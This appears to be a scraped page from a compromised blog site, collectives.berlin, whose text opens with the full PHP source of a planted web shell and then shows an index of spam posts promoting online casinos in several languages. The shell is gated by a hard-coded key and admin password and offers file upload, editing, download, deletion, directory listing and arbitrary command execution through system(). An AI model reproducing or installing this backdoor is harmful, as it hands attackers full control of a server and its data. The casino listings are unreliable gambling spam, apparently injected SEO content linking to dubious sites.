if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[đŸ–„ïž Terminal] '; echo '[đŸ’Ÿ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[đŸšȘ Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

đŸ’Ÿ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

đŸ–„ïž Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Post – Page 5 – collectives.berlin

Your digital paradise.

Category: Post

  • Informatie_over_moderne_haalbaarheid_van_gqbet_en_online_casinos

    Informatie over moderne haalbaarheid van gqbet en online casinos De Technologie Achter gqbet en Online Casinos De Rol van Live Dealer Spellen Regelgeving en Licenties in de Online Casino Industrie De Uitdagingen van Internationale Regelgeving De Haalbaarheid van gqbet: Marketing en Gebruikerswerving Het Belang van Klantenservice De Toekomst van Online Casinos en de Positie van…

    Click or not…

  • Onderscheidende_kansen_en_avontuur_beleef_je_bij_retrozino_casino_online

    Onderscheidende kansen en avontuur beleef je bij retrozino casino online Een Diepgaande Kijk op het Spelaanbod De Voordelen van Live Casino Spellen Bonussen en Promoties bij retrozino casino Tips voor het Benutten van Bonussen Betalingsmethoden en Veiligheid Het Belang van Veilige Betalingen Klantenservice en Ondersteuning De Toekomst van retrozino casino en Online Gaming đŸ”„ Spelen…

    Click or not…

  • Actuele_strategieĂ«n_omvatten_gq_bet_en_verhoogde_winstkansen_bij_sportanalyses

    Actuele strategieĂ«n omvatten gq bet en verhoogde winstkansen bij sportanalyses Het Belang van Statistische Analyse in Sportweddenschappen Het Gebruik van Geavanceerde Modellen Het Integreren van Subjectieve Factoren De Rol van Nieuws en Informatie Risicobeheer en Bankroll Management Het Belang van Discipline De Verantwoordelijkheden van een Wedder Data-analyse en de Toekomst van Sportweddenschappen đŸ”„ Spelen ▶…

    Click or not…

  • SzĂłrakozĂĄs_a_kaszinĂłjĂĄtĂ©kok_vilĂĄgĂĄban_keresztĂŒl_a_https_nnvcasino-2_onre

    SzĂłrakozĂĄs a kaszinĂłjĂĄtĂ©kok vilĂĄgĂĄban keresztĂŒl a https://nnvcasino-2.onrender.com platformon mostantĂłl elĂ©rhetƑvĂ© vĂĄlt A KaszinĂłjĂĄtĂ©kok KĂ­nĂĄlata Ă©s VĂĄlasztĂ©ka A NyerƑgĂ©pek KĂŒlönlegessĂ©gei BĂłnuszok Ă©s PromĂłciĂłk a JĂĄtĂ©kosoknak A BĂłnuszok FeltĂ©telei Ă©s FogadĂĄsi KövetelmĂ©nyek BiztonsĂĄg Ă©s FelelƑssĂ©gteljes JĂĄtĂ©k A FelelƑssĂ©gteljes JĂĄtĂ©k Eszközei A Platform AlkalmazĂĄsĂĄnak Ă©s HasznĂĄlatĂĄnak EgyszerƱsĂ©ge KeresĂ©s a KaszinĂłjĂĄtĂ©kok ÉlmĂ©nyeire AlternatĂ­v MegközelĂ­tĂ©sben đŸ”„ JĂĄtssz ▶ SzĂłrakozĂĄs a…

    Click or not…

  • Exceptionnel_divertissement_en_ligne_via_https_gangstasino-casino-23_pages_dev_p

    Exceptionnel divertissement en ligne via https://gangstasino-casino-23.pages.dev pour des joueurs exigeants et passionnĂ©s L'univers des machines Ă  sous en ligne Les jackpots progressifs : la quĂȘte du gros gain Les jeux de table : un incontournable des casinos Les diffĂ©rentes variantes de blackjack Le casino en direct : l'expĂ©rience immersive ultime Les avantages du casino en…

    Click or not…

  • SzĂłrakoztatĂł_perceket_kĂ­nĂĄl_a_https_nnvcasino-2_onrender_com_ahol_izgalmas_j

    SzĂłrakoztatĂł perceket kĂ­nĂĄl a https://nnvcasino-2.onrender.com, ahol izgalmas jĂĄtĂ©kok Ă©s nyerĂ©si lehetƑsĂ©gek vĂĄrnak rĂĄd A NyerƑgĂ©pek VarĂĄzsa Ă©s SokszĂ­nƱsĂ©ge A Modern NyerƑgĂ©pek TechnolĂłgiai ÚjdonsĂĄgai Az ÉlƑ KaszinĂł ÉlmĂ©nye – A ValĂłsĂĄg Ă©s a VirtuĂĄlis VilĂĄg Ötvözete Az ÉlƑ KaszinĂł JĂĄtĂ©kok ElƑnyei Ă©s TechnikĂĄi A FelelƑssĂ©gteljes JĂĄtĂ©k FontossĂĄga Hogyan Maradjunk FelelƑssĂ©gteljes JĂĄtĂ©kosok? A BĂłnuszok Ă©s PromĂłciĂłk VarĂĄzsa…

    Click or not…

  • Authentique_gangstasino_casino_lexploration_dune_plateforme_de_divertissement_en

    Authentique gangstasino casino, lexploration dune plateforme de divertissement en ligne innovante Les Jeux Disponibles et Leur QualitĂ© Les Fournisseurs de Logiciels et Leur Impact Les MĂ©thodes de Paiement et la SĂ©curitĂ© des Transactions Les Options de DĂ©pĂŽt et de Retrait Le Service Client et l'Assistance Technique La DisponibilitĂ© et la RĂ©activitĂ© du Support La Licence…

    Click or not…

  • Eccellente_esperienza_di_gioco_e_https_only-spin-casino_it_per_amanti_del_rischi

    Eccellente esperienza di gioco e https://only-spin-casino.it per amanti del rischio online L'Offerta di Giochi e le Slot Machine I Fornitori di Software Principali Bonus e Promozioni Esclusive Programmi VIP e FedeltĂ  Metodi di Pagamento e Sicurezza Politiche di Prelievo e Verifica Assistenza Clienti e Supporto Tecnico Considerazioni Finali sull'Esperienza di Gioco e l'AffidabilitĂ  đŸ”„ Gioca…

    Click or not…

  • OpportunitĂ _uniche_e_divertimento_assicurato_con_https_only-spin-casino_it_per-67392897

    OpportunitĂ  uniche e divertimento assicurato con https://only-spin-casino.it per gli appassionati del gioco online L’importanza della sicurezza e delle licenze nel gioco online Come riconoscere un casinĂČ online sicuro L’offerta di giochi e la qualitĂ  del software L’importanza dei giochi con jackpot progressivi I bonus e le promozioni: cosa bisogna sapere Come sfruttare al meglio i…

    Click or not…

  • Consistent_spin_control_and_piperspin_for_better_table_tennis_performance

    Consistent spin control and piperspin for better table tennis performance Understanding Spin Variation in Table Tennis The Role of the Grip Developing Consistent Stroke Mechanics Drills for Improving Stroke Consistency The Mental Aspect of Spin Control Developing a Consistent Pre-Shot Routine Advanced Techniques and Spin Combinations Beyond the Basics: Applying Piperspin To Your Game đŸ”„…

    Click or not…